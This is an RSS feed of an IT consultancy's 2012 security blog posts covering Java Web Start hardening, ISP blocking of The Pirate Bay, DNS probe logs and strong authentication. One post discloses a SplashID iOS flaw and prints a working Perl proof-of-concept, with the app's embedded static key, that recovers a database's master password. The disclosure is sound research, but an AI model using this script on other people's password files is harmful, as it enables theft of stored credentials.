<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mount Knowledge</title>
	<atom:link href="http://www.mountknowledge.nl/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mountknowledge.nl</link>
	<description>IT Consultancy</description>
	<lastBuildDate>Wed, 16 May 2012 10:43:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Securing Java Web Start for desktops</title>
		<link>http://www.mountknowledge.nl/2012/05/16/securing-java-web-start-for-desktops/</link>
		<comments>http://www.mountknowledge.nl/2012/05/16/securing-java-web-start-for-desktops/#comments</comments>
		<pubDate>Wed, 16 May 2012 10:43:02 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=277</guid>
		<description><![CDATA[In a previous post I explained how to make sure only trusted Java applets can run outside of the Java sandbox. Unfortunately this is only half of the battle with Java on desktops. Besides Java applets that run inside a web browser, installing the Java Runtime Environment also enables the use of Java Web Start [...]]]></description>
			<content:encoded><![CDATA[<p>In a <a href="http://www.mountknowledge.nl/2010/11/04/creating-a-corporate-java-security-policy/">previous post</a> I explained how to make sure only trusted Java applets can run outside of the Java sandbox. Unfortunately this is only half of the battle with Java on desktops. <span id="more-277"></span>Besides Java applets that run inside a web browser, installing the Java Runtime Environment also enables the use of <a href="http://java.sun.com/javase/technologies/desktop/javawebstart/faq.html">Java Web Start</a> (javaws).  With this technology a complete Java application is downloaded and stored locally and then started outside of the browser process. This is just as dangerous as downloading and running an executable. Java Web Start applications only run inside a sandbox when they are not signed. Signed apps however have access to all the files and OS APIs other user applications do. It is possible to lock signed javaws inside a sandbox using the javaws.policy file, but in this post I&#8217;ll focus on preventing unknown javaws apps to start at all.</p>
<p>Running a signed javaws application for the first time will cause a security popup to appear:</p>
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-popup1.png"><img class="size-medium wp-image-280  aligncenter" title="jws-popup1" src="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-popup1-500x293.png" alt="" width="500" height="293" /></a></p>
<p>The warning is not very informative. After clicking on &#8220;More Information&#8230;&#8221; the risks become a little more clear:</p>
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-popup2.png"><img class="size-full wp-image-281  aligncenter" title="jws-popup2" src="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-popup2.png" alt="" width="406" height="240" /></a></p>
<p>Obviously most users will just click &#8220;Run&#8221; without hesitation. Fortunately, it is possible to move the decision to run a javaws app to a central place. This is documented in the <a href="http://docs.oracle.com/javase/6/docs/technotes/guides/deployment/deployment-guide/overview.html">Java Deployment Guide</a> in the <a href="http://docs.oracle.com/javase/6/docs/technotes/guides/deployment/deployment-guide/properties.html">Deployment Configuration File and Properties</a> section. Place a deployment.config file in the JRE lib directory with these contents:</p>
<pre>deployment.system.config=file\:/path/to/deployment.properties</pre>
<p>The path can point to the same lib directory, or a central location on a file share. The contents of this deployment.properties file should be:</p>
<pre>deployment.security.askgrantdialog.show=false
deployment.security.askgrantdialog.show.locked=
deployment.security.askgrantdialog.notinca=false
deployment.security.askgrantdialog.notinca.locked=
deployment.system.security.trusted.certs=\\\\myserver\\myshare\\java\\trusted.certs</pre>
<p>The deployment.security.askgrantdialog.show property controls the &#8220;Allow user to grant permissions to signed content&#8221; checkbox in the Java Control Panel. The deployment.security.askgrantdialog.notinca property controls the &#8220;Allow  user to grant permissions to content from an untrusted authority&#8221; checkbox. Disabling them is <a href="http://www.cert.org/blogs/certcc/2008/06/signed_java_security_worse_tha.html">recommended by CERT</a>. Adding another property with &#8220;locked&#8221; appended to its name prevents users to change it back:</p>
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/05/java-control-panel.png"><img class="size-full wp-image-282  aligncenter" title="java-control-panel" src="http://www.mountknowledge.nl/wp-content/uploads/2012/05/java-control-panel.png" alt="" width="450" height="502" /></a></p>
<p>This effectively disables the user to start any signed javaws application. Trying to do so will now trigger an error that looks like this:</p>
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-error2.png"><img class="size-medium wp-image-284  aligncenter" title="jws-error2" src="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-error2-500x227.png" alt="" width="500" height="227" /></a></p>
<p>Clicking the details button explains the security configuration does not allow the user to grant permission to new certificates:</p>
<p><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-error-details.png"><img class="aligncenter size-medium wp-image-285" title="jws-error-details" src="http://www.mountknowledge.nl/wp-content/uploads/2012/05/jws-error-details-500x428.png" alt="" width="500" height="428" /></a></p>
<p>So far, so good. Of course there might be some javaws applications that you are running within your organization that should be allowed. This is where the deployment.system.security.trusted.certs property comes in. The default is a trusted.certs file inside the JRE lib directory, but placing this on a central share might make updating it a lot easier. To create this file, use the keytool binary that comes with JRE. Keytool is used to manage Java keystores. To create an empty keystore use:</p>
<pre>keytool -genkey -alias foo -keystore trusted.certs
keytool -delete -alias foo -keystore trusted.certs</pre>
<p>When asked for a password for the new keystore, use &#8220;changeit&#8221;. This is the password for the cacerts file that comes with JRE. Since none of the information inside the trusted.certs file is secret there is no need to set a strong password.</p>
<p>Now download the JAR file of the javaws app that is trusted. Unzip it and look inside the META-INF directory. There will be a *.RSA file. This holds the signer certificate (and its CA certificates) in pkcs7 format. To extract the certificates use:</p>
<pre>openssl pkcs7 -print_certs -in PATCHMAN.RSA -inform DER -out cert.txt</pre>
<p>This will export the signer and CA certificates in PEM format. Now edit cert.txt so that it only contains the signer certificate (remove the CA certificates). Convert it to DER format:</p>
<pre>openssl x509 -in cert.txt -out cert.der -outform DER</pre>
<p>This format can be read by keytool to add it to the keystore:</p>
<pre>keytool -importcert -alias patchmanager -file cert.der -keystore trusted.certs</pre>
<p>Start the Java Control Panel, and click the Certificates button on the Security tab. Select Trusted Certificates and the System tab. The imported certificate should now be shown:</p>
<p style="text-align: center;"><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/05/trusted.certs_.png"><img class="size-medium wp-image-291  aligncenter" title="trusted.certs" src="http://www.mountknowledge.nl/wp-content/uploads/2012/05/trusted.certs_-500x371.png" alt="" width="500" height="371" /></a></p>
<p>This will make sure only trusted Java Web Start applications can be run outside of the Java sandbox.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2012/05/16/securing-java-web-start-for-desktops/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SplashID for iOS by @SplashData stores master password inside database: #security #fail</title>
		<link>http://www.mountknowledge.nl/2012/03/17/splashid-for-ios-by-splashdata-stores-master-password-inside-database-security-fail/</link>
		<comments>http://www.mountknowledge.nl/2012/03/17/splashid-for-ios-by-splashdata-stores-master-password-inside-database-security-fail/#comments</comments>
		<pubDate>Sat, 17 Mar 2012 22:18:08 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=262</guid>
		<description><![CDATA[While at Black Hat Europe 2012 I attended an excellent talk by two Elcomsoft researchers. They investigated the security of mobile password mangers. Not surprisingly they are not all as safe as they should be. Some (free ones) do not bother to encrypt the stored passwords at all. Others fail to protect the master password [...]]]></description>
			<content:encoded><![CDATA[<p>While at <a href="http://blackhat.com/html/bh-eu-12/bh-eu-12-home.html">Black Hat Europe 2012</a> I attended an <a href="http://www.elcomsoft.com/WP/BH-EU-2012.pdf">excellent talk</a> by two <a href="http://www.elcomsoft.com/">Elcomsoft</a> researchers. They <a href="http://www.elcomsoft.com/WP/BH-EU-2012-WP.pdf">investigated</a> the <a href="http://blog.crackpassword.com/2012/03/mobile-password-keepers-dont-keep-the-word/">security of mobile password mangers</a>. Not surprisingly they are not all as safe as they should be. <span id="more-262"></span>Some (free ones) do not bother to encrypt the stored passwords at all. Others fail to protect the master password to the database from being easily brute forced. Especially the use of <a href="http://en.wikipedia.org/wiki/Padding_%28cryptography%29">PKCS7 padding</a> makes brute forcing very fast (up to 50 million password guesses per second).</p>
<p>The most interesting result to me was the discovery that <a href="http://www.splashdata.com/splashid/iphone/">SplashID for iOS</a> stores the master password inside the database that password is meant to protect. It is encrypted, but with a static key that is embedded in the program, and the same for all users. Based on this research I was able to write a proof of concept that takes the SplashIDDataBase.db file (from a jailbroken iPhone or iPad or from an iTunes backup) and displays the password for the database. With this it is trivial for an attacker with access to the SplashIDDataBase.db file to retrieve the master password and use it to read all the entries stored in the database. The script is shown below and can be downloaded <a href="http://www.mountknowledge.nl/wp-content/uploads/2012/03/splashpwd.txt">here</a>.</p>
<p>It seems that SplashData made <a href="http://alex.jurkiewi.cz/blog/2010/splashid-sucks">a similar faux pas</a> with <a href="http://www.splashdata.com/enterprise/">SplashID Enterprise Safe</a>. This makes me fear the worst for the other members of the <a href="http://www.splashdata.com/splashid/">SplashID software family</a>.</p>
<p>This all shows that closed source security products are very hard to trust. Independent review is always needed to make sure no obvious vulnerabilities exist.</p>
<p>Here is the proof of concept code:</p>
<pre>#!/usr/bin/perl

use DBI;
use Crypt::Blowfish;

$key = "g.;59?^/0n1X*{OQlRwy";

$dbh = DBI-&gt;connect( "dbi:SQLite:SplashIDDataBase.db" ) || die "Cannot connect: $DBI::errstr";

$sth = $dbh-&gt;prepare("SELECT PASSWORD from DATABASEINFOTABLE");
$numrows = $sth-&gt;execute;
$ref = $sth-&gt;fetchrow_hashref;
$cryptpwd = $ref-&gt;{PASSWORD};
$sth-&gt;finish;
$dbh-&gt;disconnect;

$cipher = new Crypt::Blowfish $key;

for($i=0;$i&lt;length($cryptpwd);$i+=8) {
  $pwd = $cipher-&gt;decrypt(substr($cryptpwd,$i,8));
  print $pwd;
}
print "\n";</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2012/03/17/splashid-for-ios-by-splashdata-stores-master-password-inside-database-security-fail/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ziggo and xs4all block of ThePirateBay.org technical details</title>
		<link>http://www.mountknowledge.nl/2012/02/01/ziggo-and-xs4all-block-of-thepiratebay-org-technical-details/</link>
		<comments>http://www.mountknowledge.nl/2012/02/01/ziggo-and-xs4all-block-of-thepiratebay-org-technical-details/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 16:13:47 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=243</guid>
		<description><![CDATA[The Dutch court ordered ISPs Ziggo and xs4all to block client&#8217;s access to thepiratebay.org and associated domain names and IP addresses. How exactly do these ISPs implement the block? DNS filtering The normal DNS response to resolving thepiratebay.org using an unfiltered DNS resolver (and omitting the MX records) is: $ host thepiratebay.org thepiratebay.org has address [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://www.bloomberg.com/news/2012-01-11/ziggo-xs4all-must-block-access-to-pirate-bay-dutch-court-says.html">Dutch</a> <a href="http://www.telecompaper.com/news/ziggo-xs4all-to-implement-pirate-bay-ban">court</a> <a href="http://jure.nl/bv0549">ordered</a> ISPs <a href="http://www.ziggo.nl/">Ziggo</a> and <a href="http://www.xs4all.nl/">xs4all</a> to block client&#8217;s access to <a href="http://thepiratebay.org/">thepiratebay.org</a> and associated domain names and IP addresses. How exactly do these ISPs implement the block?<br />
<span id="more-243"></span></p>
<h3>DNS filtering</h3>
<p>The normal DNS response to resolving thepiratebay.org using an unfiltered DNS resolver (and omitting the MX records) is:</p>
<blockquote><p>$ host thepiratebay.org<br />
thepiratebay.org has address 194.71.107.15</p></blockquote>
<p>Using the default Ziggo DNS resolver this now gives:</p>
<blockquote><p>$  host thepiratebay.org<br />
thepiratebay.org has address 212.54.32.19</p></blockquote>
<p>Using the xs4all DNS resolvers, the response is:</p>
<blockquote><p>$ host thepiratebay.org<br />
thepiratebay.org has address 194.109.6.92<br />
thepiratebay.org has IPv6 address 2001:888:0:18::80</p></blockquote>
<p>So the IP address of thepiratebay.org has been replaced with an IP address controlled by the ISP. On the Ziggo IP address the following message is shown:</p>
<p><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/02/ziggo-block1.png"><img class="aligncenter size-medium wp-image-250" title="ziggo-block" src="http://www.mountknowledge.nl/wp-content/uploads/2012/02/ziggo-block1-500x346.png" alt="" width="500" height="346" /></a></p>
<p>xs4all chose to display a more informative message:</p>
<p><a href="http://www.xs4all.nl/geblokkeerd/"><img class="aligncenter size-medium wp-image-257" title="xs4all-block" src="http://www.mountknowledge.nl/wp-content/uploads/2012/02/xs4all-block1-500x348.png" alt="" width="500" height="348" /></a></p>
<h3>IP filtering</h3>
<p>Besides various domain level bans, the court also ordered the blocking of 3 specific IP addresses. This seems logical because otherwise new DNS records pointing to thepiratebay.org IP address would probably pop-up faster than plaintiff <a href="http://www.anti-piracy.nl/">BREIN</a> would be able to add them to the block list. From a Ziggo connection, the traceroute to an unblocked IP address looks like this:</p>
<pre>Tracing the path to 194.71.107.14 on TCP port 80 (http), 30 hops max
1  10.10.10.10  1.033 ms  0.323 ms  0.322 ms
2  * 53563a01.cm-6-7a.dynamic.ziggo.nl (83.86.58.1) 7.521 ms  7.774 ms
3  gv-rc0052-ds102-vl202.core.as9143.net (213.51.161.161)  7.657 ms  8.891 ms  7.943 ms
4  gv-rc0011-cr102-ae12-0.core.as9143.net (213.51.158.251)  7.859 ms  9.467 ms  7.554 ms
5  asd-tr0409-cr101-ae8-0.core.as9143.net (213.51.158.26)  10.406 ms  7.016 ms  8.157 ms
6  xe-8-0-1.edge4.amsterdam1.level3.net (212.72.40.173)  38.330 ms  15.699 ms  12.082 ms
7  4.68.110.198  10.337 ms  10.172 ms  8.879 ms
8  te3-2-10g.ar1.snv2.gblx.net (67.16.139.82)  151.346 ms  152.009 ms  154.799 ms
9  xe-1-0-1.cr1.sfo1.us.nlayer.net (69.22.153.205)  152.695 ms  156.498 ms  152.759 ms
10  as40475.ge-0-2-1.cr1.sfo1.us.nlayer.net (69.22.153.90)  152.918 ms  154.384 ms  164.536 ms
11  ge-0-1-0.ro4.sjc01 (208.83.220.46)  170.319 ms  165.839 ms  169.114 ms
12  ge-0-0.cal-cr-0.srstubes.net (74.116.251.2)  168.702 ms  171.355 ms  167.281 ms
13  ge-0-4.sth3-core-1.srstubes.net (194.68.0.194)  179.128 ms  180.895 ms  179.933 ms
14  ge-1-2.sth4-dr-1.srstubes.net (194.68.0.166)  180.699 ms  183.876 ms  180.785 ms
15  ge-0-1.moria-cr-1.piratpartiet.net (194.68.0.146)  179.694 ms  179.994 ms  183.420 ms
16  * * *</pre>
<p>A traceroute to a blocked IP address looks like this:</p>
<pre>Tracing the path to 194.71.107.15 on TCP port 80 (http), 30 hops max
1  10.10.10.10 0.414 ms  0.331 ms  0.318 ms
2  53563a01.cm-6-7a.dynamic.ziggo.nl (83.86.58.1)  48.198 ms * *
3  gv-rc0052-ds102-vl204.core.as9143.net (213.51.165.33)  13.757 ms  17.851 ms  7.605 ms
4  * * *
5  * * *</pre>
<p>So it looks like the IP block is in effect on the Ziggo core router gv-rc0011-cr102-ae12-0.core.as9143.net.</p>
<p>From xs4all a unblocked trace looks like:</p>
<pre>Tracing the path to 194.71.107.14 on TCP port 80 (www), 30 hops max
1  124.ae0.xr3.3d12.xs4all.net (194.109.21.13)  0.473 ms  0.313 ms  0.242 ms
2  nl-asd-dc2-ice-ir01.kpn.net (139.156.201.90)  11.780 ms  5.290 ms  11.953 ms
3  nl-asd-dc2-ias-csg01-ge-5-2-0.kpn.net (139.156.113.103)  0.373 ms  0.404 ms  0.367 ms
4  * * *
5  ae3-60g.cr1.ams2.nl.nlayer.net (69.22.139.238)  80.351 ms  80.317 ms  80.271 ms
6  xe-5-3-0.cr1.lhr1.uk.nlayer.net (69.22.142.94)  7.086 ms  7.045 ms  7.034 ms
7  xe-11-3-1.cr1.nyc3.us.nlayer.net (69.22.142.132)  80.444 ms  80.434 ms  80.466 ms
8  ae2-70g.cr1.ewr1.us.nlayer.net (69.31.95.145)  80.811 ms  80.803 ms  80.864 ms
9  xe-5-0-0.cr1.ord1.us.nlayer.net (69.22.142.74)  95.314 ms  95.363 ms  96.473 ms
10  xe-1-2-0.cr1.slc1.us.nlayer.net (69.22.142.102)  133.934 ms  132.688 ms  133.005 ms
11  xe-2-0-1.cr1.sfo1.us.nlayer.net (69.22.142.97)  146.579 ms  146.584 ms  146.568 ms
12  as40475.ge-0-2-1.cr1.sfo1.us.nlayer.net (69.22.153.90)  144.234 ms  144.108 ms  144.151 ms
13  ge-0-1-0.ro4.sjc01 (208.83.220.46)  143.621 ms  143.520 ms  143.585 ms
14  ge-0-0.cal-cr-0.srstubes.net (74.116.251.2)  143.196 ms  143.176 ms  143.300 ms
15  ge-1.sthix.srstubes.net (192.121.80.164)  171.578 ms  171.738 ms  171.557 ms
16  ge-1-2.sth4-dr-1.srstubes.net (194.68.0.166)  172.213 ms  175.003 ms  172.384 ms
17  sthix-ge-0-2.moria-cr-1.piratpartiet.net (192.121.80.181)  171.678 ms  171.728 ms  171.847 ms
18  * * *</pre>
<p>and a trace to a blocked IP address:</p>
<pre>Tracing the path to 194.71.107.15 on TCP port 80 (www), 30 hops max
1  * * *
2  * * *</pre>
<p>I only have an xs4all shell account (no ADSL connection), but it seems the IP block is done quite early in the network. This is most likely to not affect other KPN owned ISPs.</p>
<h3>Effectiveness</h3>
<p>So is this an effective block to prevent the use of thepiratebay.org website? It is what the court ordered, and maybe it will stop a casual user. However, it is rather trivial to bypass. By using a <a href="http://www.publicproxyservers.com/">proxy</a> or <a href="http://cheapvpn.org/">VPN</a> to a non-filtering ISP it is very easy to still get access to the site. There are also a number of mirrors/proxy sites that are still accessible. BREIN is allowed by the court to add to the blocklist as they see fit, so we will see how long they will survive. Some examples:</p>
<ol>
<li><a href="http://tpb.piratenpartij.nl/">http://tpb.piratenpartij.nl/</a></li>
<li><a href="http://thepiratebay.ee/">http://thepiratebay.ee/</a></li>
<li><a href="http://deblokkeer.nl/">http://deblokkeer.nl/</a></li>
<li><a href="http://thepiratebay2.nl/">http://thepiratebay2.nl/</a></li>
</ol>
<p>xs4all has an <a href="http://www.xs4all.nl/geblokkeerd/">up-to-date list</a> of which domains are being blocked.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2012/02/01/ziggo-and-xs4all-block-of-thepiratebay-org-technical-details/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Shanghai Jiaotong University probing for Chinese IPv6 users?</title>
		<link>http://www.mountknowledge.nl/2012/01/27/shanghai-jiaotong-university-probing-for-chinese-ipv6-users/</link>
		<comments>http://www.mountknowledge.nl/2012/01/27/shanghai-jiaotong-university-probing-for-chinese-ipv6-users/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 14:55:04 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=233</guid>
		<description><![CDATA[My server has had an IPv6 address for a few years now. I&#8217;ve just not gotten arround to properly advertise it in my DNS zones yet. Let alone register it as a name server for my domains. Strangely enough though, every day since 28 july 2011 I see these requests in my logs: named[15984]: client [...]]]></description>
			<content:encoded><![CDATA[<p>My server has had an IPv6 address for a few years now. I&#8217;ve just not gotten arround to properly advertise it in my DNS zones yet. Let alone register it as a name server for my domains. Strangely enough though, every day since 28 july 2011 I see these requests in my logs:</p>
<p><span id="more-233"></span></p>
<pre>named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#40681:
  query (cache) 'www.cnnic.cn/A/IN' denied
named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#40681:
  query (cache) 'www.cnnic.cn/A/IN' denied
named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#43074:
  query (cache) 'www.cnnic.cn/A/IN' denied
named[15984]: client 2001:da8:8000:d010:0:5efe:daf1:6c89#40683:
  notify question section contains no SOA</pre>
<p>That IPv6 address is owned by Shanghai Jiaotong University:</p>
<blockquote><p>inet6num:       2001:0DA8:8000::/48<br />
netname:        SJTU6-CERNET2<br />
descr:          ~{IO:#=;M(4sQ&#8217;~}<br />
descr:          Shanghai Jiaotong University<br />
descr:          Shanghai 200030, China<br />
admin-c:        WW390-AP<br />
tech-c:         WW390-AP<br />
tech-c:         CER-AP<br />
country:        CN<br />
changed:        hostmaster@net.edu.cn 20041129<br />
mnt-by:         MAINT-CERNET-AP<br />
status:         ASSIGNED NON-PORTABLE<br />
source:         APNIC</p></blockquote>
<p>So what could be the reason for these requests? Are they trying to determine which IPv6 addresses are running DNS resolvers for visitors of Chinese domains? But they couldn&#8217;t possible be scanning the complete IPv6 space? Or is that actually feasible?</p>
<p>If you have seen the same entries in your logs, please let me know in the comments.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2012/01/27/shanghai-jiaotong-university-probing-for-chinese-ipv6-users/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Strong authentication for 2012</title>
		<link>http://www.mountknowledge.nl/2012/01/14/strong-authentication-for-2012/</link>
		<comments>http://www.mountknowledge.nl/2012/01/14/strong-authentication-for-2012/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 23:06:16 +0000</pubDate>
		<dc:creator>Richard</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mountknowledge.nl/?p=196</guid>
		<description><![CDATA[Not so long ago, strong authentication was equivalent to two-factor authentication. Unfortunately, things have changed quite a bit in 2011. It is widely accepted that authenticating with only a username and password is not very secure. No matter how complex or long you make a password, it can be copied, intercepted, phished, etc. A lot [...]]]></description>
			<content:encoded><![CDATA[<p>Not so long ago, strong authentication was equivalent to two-factor authentication. Unfortunately, things have changed quite a bit in 2011.</p>
<p><span id="more-196"></span>It is widely accepted that authenticating with only a username and password is not very secure. No matter how complex or long you make a password, it can be copied, intercepted, phished, etc. A lot of effort has been put into securing passwords. Encrypting them when stored on the server side, encrypting them while in transit (SSL/TLS), encrypting them for users that cannot remember it (KeePass, Password Safe). This does not solve the phishing problem. A user that can be tricked to enter his password in the wrong window or on the wrong site basically hands over the keys to the safe.</p>
<p>To protect against password theft (like phishing) one-time passwords were invented. As the name implies, these passwords can be only used once. In order to know what password to enter next, various methods exist:</p>
<ul>
<li>TAN list, often used by banks</li>
<li>Hardware token, such as RSA or Vasco tokens</li>
<li>Software token (i.e. running on a mobile phone)</li>
<li>SMS message</li>
</ul>
<p>This introduces the concept of two-factor authentication. A higher level of security can be achieved when a user is required to present two out of three categories of means to identify himself:</p>
<ul>
<li>Something you know (like a username or password)</li>
<li>Something you have (like a physical key, a token or a mobile phone)</li>
<li>Something you are (often implemented using biometrics like fingerprints, hand geometry or retina scan)</li>
</ul>
<p>This sounds very secure, but unfortunately two-factor authentication does not protect against man-in-the-middle attacks. The classic scenario where Alice and Bob are communicating and Mallory is able to change what is being sent back and forth. Mallory and read the one-time password sent by Alice from the wire, and tell Alice that Bob is unavailable. Mallory then proceeds to authenticate against Bob using the credentials stolen from Alice.</p>
<p><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-1.png"><img class="aligncenter size-medium wp-image-200" title="alice-bob-1" src="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-1-500x213.png" alt="" width="500" height="213" /></a><br />
The general protection against man-in-the-middle attacks is using a Public Key Infrastructure (PKI). The most widely known PKI is probably the SSL/TLS PKI implementation used for webservers. The core idea is that servers prove their identity to a Certificate Authority (CA) that in return signs their SSL certificate. Before Alice sends her credentials to Bob, she requests his SSL certificate. Alice checks the certificate is signed by a CA she trusts. If it is not, Alice will not proceed.</p>
<p><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-2b.png"><img class="aligncenter size-medium wp-image-213" title="alice-bob-2b" src="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-2b-500x215.png" alt="" width="500" height="215" /></a></p>
<p>Mallory can change the certificate midway, but the idea is that she cannot present Alice with a valid certificate with Bob’s name in it that is signed by a trusted CA. This is the mechanism that is protecting the web since 1995. Coupled with two-factor authentication it was pretty strong. Until 2011 that is.</p>
<p>First in march 2011 an Italian reseller of the Comodo CA <a href="http://blogs.comodo.com/it-security/data-security/the-recent-ra-compromise/">was</a> <a href="http://www.wired.com/threatlevel/2011/03/comodo_hack/">hacked</a>. Various false SSL certificates were signed for high profile sites such as Google Gmail, Yahoo Mail, and Microsoft Hotmail. Fortunately, Comodo found out and revoked the certificates before any harm could be done. Then in August a user from Iran <a href="www.google.com/support/forum/p/gmail/thread?tid=2da6158b094b225a">noticed</a> his Chrome browser gave a certificate warning when browsing to GMail. Investigation showed that a false certificate was being used by the Iranian government to intercept the traffic. The false certificate was signed by the Diginotar CA that was <a href="http://www.f-secure.com/weblog/archives/00002228.html">hacked</a> in July 2011. These incidents show that relying on PKI server side certificates alone is not secure. The <a href="https://www.eff.org/observatory">EFF SSL Observatory</a> calculated there are around 650 organizations that function as a trusted CA in today&#8217;s browsers. Even though a server only uses a single CA for it&#8217;s certificate, an attacker can target any of the 650 CAs to get a fake one. Any certificate signed by any one of the 650 CAs will be trusted by the browser.</p>
<p><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-3a.png"><img class="aligncenter size-medium wp-image-214" title="alice-bob-3a" src="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-3a-500x347.png" alt="" width="500" height="347" /></a></p>
<p>The only reason Google Chrome gave a warning is because both Chrome and GMail are products of Google. Google implemented an additional check for it&#8217;s own sites to see if they were indeed signed by the correct CA (<a href="http://www.threatgeek.com/2011/11/ssl-pinning-in-the-enterprise-part-1.html">SSL pinning</a>). There have been <a href="http://convergence.io/">several</a> <a href="https://www.eff.org/deeplinks/2011/11/sovereign-keys-proposal-make-https-and-email-more-secure">other</a> <a href="http://www.imperialviolet.org/2011/11/29/certtransparency.html">proposals</a> to fix the 650 trusted CAs issue, but they have a long way to go before they are implemented. Other solution would be to combine one-time passwords with the <a href="http://en.wikipedia.org/wiki/Secure_remote_password_protocol">secure remote password protocol</a> and TLS authentication (<a href="http://tools.ietf.org/html/rfc5054">RFC 5054</a>). Unfortunately browsers (like <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=405155">Firefox</a>) nor web servers (like <a href="https://issues.apache.org/bugzilla/show_bug.cgi?id=51075">apache</a>) support TLS-SRP at this moment.</p>
<p>There is another solution that is available today. Instead of just using SSL server side certificates, also use SSL certificates on the client side. This means that both Alice and Bob authenticate themselves using a certificate. If Bob signs the certificates for his users himself, there is no way for Mallory to get a valid client certificate unless she hacks Bob server. But then the point of generating fake certificates is moot: whatever information Mallory is after can be read directly from the server anyway.</p>
<p><a href="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-4a.png"><img class="aligncenter size-medium wp-image-215" title="alice-bob-4a" src="http://www.mountknowledge.nl/wp-content/uploads/2012/01/alice-bob-4a-500x334.png" alt="" width="500" height="334" /></a></p>
<p>There is one more threat we need to protect against. Even though a certificate in itself does not possess one-time properties, because the associated private key is not transmitted it is secure against a man-in-the-middle attack. If the private key is stored in software on the client, it can be stolen if the PC is infected by a trojan or malware. This can be overcome by only storing the private key in a hardware token. This can be a smart card connected to the PC using a reader, or a PKI chip embedded in an USB stick. Of course when a client is infected with modern malware such as Zeus and SpyEye they can perform a <a href="http://en.wikipedia.org/wiki/Man_in_the_Browser">man-in-the-browser</a> attack. No authentication method can protect against this attack, but when the private key is stored in a hardware token, when this token is removed and the PC turned off the attacker will not be able to impersonate the users with stolen credentials. Credentials can always be stolen when a software-only solution is used.</p>
<p>In general strong authentication that is resistant against man-in-the-middle attacks and credential theft should:</p>
<ol>
<li>use mutual authentication so that both the client and server are authenticated to the other side</li>
<li>use a hardware token which output is used in the encryption layer (like TLS)</li>
</ol>
<p>The second property requires some explanation. There are several ways to do mutual authentication (using client certificates is just an example). A challenge response scheme that does a full <em>challenge 1 / response 1 + challenge 2 / response 2</em> handshake will work, but only protects against a man-in-the-middle attack when Mallory cannot intercept both sides of the handshake. For an offline (non-USB) token TLS-SRP can be a solution when this is widely implemented.</p>
<p>Beyond the standard X.509 PKI solutions and tokens, I know of 2 proprietary protocols that implement mutual authentication using hardware tokens: <a href="http://www.giritech.com/">G/On</a> and <a href="http://www.route1.com/products/MobiKEY.php">MobiKEY</a>.</p>
<p>Another solution worth mentioning is the <a href="https://www.abnamro.nl/nl/prive/slimbankieren/edentifier2/introductie.html">ABN-Amro E.dentifier2</a> hardware token. This USB connected device contains a PKI client certificate. Crucial banking transaction are routed (using a webbrowser plugin) end-to-end from the server to the token. An LCD display shows the details of the transactions before they are signed by the device. This method seems to protect against man-in-the-browser attacks as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mountknowledge.nl/2012/01/14/strong-authentication-for-2012/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
